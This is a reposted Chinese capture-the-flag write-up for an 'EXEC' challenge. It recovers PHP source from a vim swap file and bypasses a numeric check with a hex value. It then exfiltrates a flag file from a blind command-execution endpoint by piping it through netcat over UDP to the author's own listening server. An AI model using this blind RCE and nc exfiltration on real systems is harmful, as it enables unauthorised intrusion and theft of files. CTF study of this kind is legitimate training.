i春秋-百度杯十月场-EXEC

转载

weixin_30500663 于 2018-11-01 22:57:00 发布 114 收藏
原文链接：http://www.cnblogs.com/whitehawk/p/9893223.html

进入网站，查看源代码，发现是用vim编辑，而抓包没有有效信息，加参数也无果。百度查了一下vim能形成什么文件。找到答案说，用vim编辑文本xxx.php中途退出，会自动创建一个文件.xxx.php.swp。然后我们下载这个文件。

用 vim -r 命令恢复文件，得到源码：

```
<html>
<head>
<title>blind cmd exec</title>
<meta language='utf-8' editor='vim'>
</head>
</body>
<img src=pic.gif>
<?php
/*
flag in flag233.php
*/
function check($number)
{
$one = ord('1');
$nine = ord('9');
for ($i = 0; $i < strlen($number); $i++)
{
$digit = ord($number{$i});
if ( ($digit >= $one) && ($digit <= $nine) )
{
return false;
}
}
return $number == '11259375';
}
if(isset($_GET[sign])&& check($_GET[sign])){
setcookie('auth','tcp tunnel is forbidden!');
if(isset($_POST['cmd'])){
$command=$_POST[cmd];
$result=exec($command);
//echo $result;
}
}else{
die('no sign');
}
?>
</body>
</html>
```

代码的意思大致是，参数sign必须是11259375，而且每一位的值的ascii码不能大于1或小于9，只能试试16进制了，成功绕过。

但是没有echo，就算命令执行了也没有结果返回，没头绪，参考了下别人的，哈哈。

最后，学到了nc 命令，以前看ctf题都不知道里边的nc是干啥用的，学到了学到了。

服务器上运行，nc -u -l -p 55566

然后，cmd=nc -u ip地址 55566 < flag233.php

转载于:https://www.cnblogs.com/whitehawk/p/9893223.html